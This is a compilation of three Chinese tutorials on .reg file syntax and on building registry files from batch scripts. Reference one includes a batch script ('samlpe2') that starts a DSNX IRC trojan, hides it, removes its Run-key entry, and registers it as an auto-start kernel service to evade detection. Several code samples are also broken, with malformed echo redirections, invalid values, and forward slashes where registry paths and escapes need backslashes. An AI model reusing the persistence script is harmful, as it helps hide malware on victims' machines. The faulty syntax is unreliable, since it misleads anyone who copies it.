参考一:
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
参考二:
经常需要修改注册表项,但是一层一层打开注册表简直太麻烦了,Slyar又不想使用第三方工具来快速打开,因此直接编写注册表reg文件便成了Slyar修改注册表最常用的手段。
1、第一行为以下内容
Windows Registry Editor Version 5.00
2、第二行和最后一行均为空行
3、新建项
[路径\新主键名]
4、删除项
[-路径\主键名]
5、新建键值 或 修改键值
[路径]
"键名"="键值" (针对字符串型键值)
"键名"=hex:键值 (针对二进制型键值)
"键名"=dword:键值 (针对DWORD键值)
6、删除键值
[路径]
"键名"=-
7、注意事项
注意主键路径大小写
键值类型一律为小写
在创建字符串类型的键值时,如果字符串中包含路径分隔符,这个路径分隔符应该用双斜杠"\\"表示
若键值名为"默认",则键值名用"@"表示,没有引号
写完保存为*.reg文件然后双击导入即可,重启后可见效果
参考三:
原本是很早以前写在blogspot的文章,今天重新整理了一下。注册表的概述这里就不多说了,本文主要介绍如何通过.reg文件操作注册表,其他的操作方式也不是本文涉及的内容。本文主要内容包括:
1. .reg文件的语法
2. 添加注册表项或添加和更改注册表值
3. 删除注册表项和值
4. 重命名注册表项和值
5. 需要注意的问题
.reg文件的语法
.reg文件实际上是一个文本文件,.reg 文件具有以下语法:
1: RegistryEditorVersion
2: Blank line
3: [RegistryPath1]
4: "DataItemName1"="DataType1:DataValue1"
5: DataItemName2"="DataType2:DataValue2"
6: Blank line
7: [RegistryPath2]
8: "DataItemName3"="DataType3:DataValue3"
其中:
RegistryEditorVersion 是“Windows Registry Editor Version 5.00”(对于 Windows 2000、Windows XP 和 Windows Server 2003)或“REGEDIT4”(对于 Windows 98 和 Windows NT 4.0)。“REGEDIT4”表头也适用于基于 Windows 2000、Windows XP 和 Windows Server 2003 的计算机。
Blank line 就是一个空行。它标识新的注册表路径的开始。每个项或子项都是一个新的注册表路径。如果 .reg 文件中有多个项,空白行可以帮助您检查内容和排查其中的问题。
RegistryPathx 是存放要导入的第一个值的子项的路径。请用方括号将路径括起来,并用反斜杠将层次结构的各个级别隔开。例如:
[HKEY_LOCAL_ MACHINE/SOFTWARE/Policies/Microsoft/Windows/System]
一个 .reg 文件可以包含多个注册表路径。 如果注册表中不存在路径语句中底层的层次结构,将创建一个新的子项。注册表文件的内容将按照它们的输入顺序发送到注册表。因此,如果您要新建一个包含另一子项的子项,必须按正确的顺序输入行。
DataItemNamex 是要导入的数据项的名称。如果文件中的数据项在注册表中不存在,.reg 文件将添加该数据项及其值。如果数据项存在,.reg 文件中的值将覆盖现有的值。数据项的名称用引号引起来。数据项名称后紧跟着一个等号 (=)。
DataTypex 是注册表值的数据类型,紧跟在等号后面。对于 REG_SZ(字符串值)以外的所有数据类型,数据类型后都紧跟一个冒号。如果数据类型是 REG_SZ,则不包括数据类型值或冒号。在这种情况下,Regedit.exe 假定数据类型为 REG_SZ。下表列出了典型的注册表数据类型:
数据类型 | .reg文件中的写法 |
REG_BINARY | hex |
REG_DWORD | dword |
REG_EXPAND_SZ | hex(2) |
REG_MULTI_SZ | hex(7) |
注意:可以为同一个注册表路径输入多个数据项行。
添加注册表项或添加和更改注册表值
一个简单的代码如下所示:
1: Windows Registry Editor Version 5.00
2:
3: [HKEY_CLASSES_ROOT/..test]
4: @="Default项的文本"
5: "reg_binary_test"=hex:E0,31
6: "reg_dword_test"=dword:000000ff
7: "reg_expand_sz_test"=hex(2):30,00,31,00
8: "reg_multi_sz_test"=hex(7):30,00,31,00
上面代码中值得注意的是:
第3行中的“..test”主要是为了在注册表中查找方便而采用的命名
@代表注册表项中默认项----(Default)
从代码中可以看出REG_SZ类型是不需要写出类型的
REG_BINARY是16进制的形式书写的
DWORD类型是16进制的形式书写的,前面的0可以不写,写出来主要是想把其长度(4个字节)表达清楚
REG_EXPAND_SZ与REG_MULTI_SZ实际上都是使用unicode编码表示的,编辑这两种类型应该需要编码转换软件,不过这两种类型一般很少用。
删除注册表项和值
要使用 .reg 文件删除注册表项,请在 .reg 文件中的 RegistryPath 前放置一个连字符 (-)。例如,要删除上文中的..test 项:
1: Windows Registry Editor Version 5.00
2:
3: [-HKEY_CLASSES_ROOT/..test]
注意前面多了一个"-"号。
要使用 .reg 文件删除注册表值,请在 .reg 文件中的 DataItemName 后的等号后放置一个连字符 (-)。例如,要从上文中的..test 注册表项中删除reg_binary_test注册表值:
1: Windows Registry Editor Version 5.00
2:
3: [HKEY_CLASSES_ROOT/..test]
4: "reg_binary_test"=-
重命名注册表项和值
要重命名项或值,请删除该项或值,然后创建一个具有新名称的新项或新值。
需要注意的问题
最后值得一提的是,在REG_SZ类型中如果需要插入引号或者路径符号,那么需要使用转义字符“/”,例如:
1: Windows Registry Editor Version 5.00
2:
3: [HKEY_CLASSES_ROOT/dllfile/shell/exescope]
4: @="用 eXeScope 编辑资源"
5: [HKEY_CLASSES_ROOT/dllfile/shell/exescope/Command]
6: @="E://softdsgn//tools//eXeScope//Exescope.exe /"%1/""
7:
8: [HKEY_CLASSES_ROOT/exefile/shell/exescope]
9: @="用 eXeScope 编辑资源"
10: [HKEY_CLASSES_ROOT/exefile/shell/exescope/Command]
11: @="E://softdsgn//tools//eXeScope//Exescope.exe /"%1/""
注:这段代码是在explorer右键菜单上增加一个菜单项,当鼠标右键点击dll文件或者exe文件时,右键菜单多了一个“用exescope编辑资源”。
参考文献:http://support.microsoft.com/kb/310516/zh-cn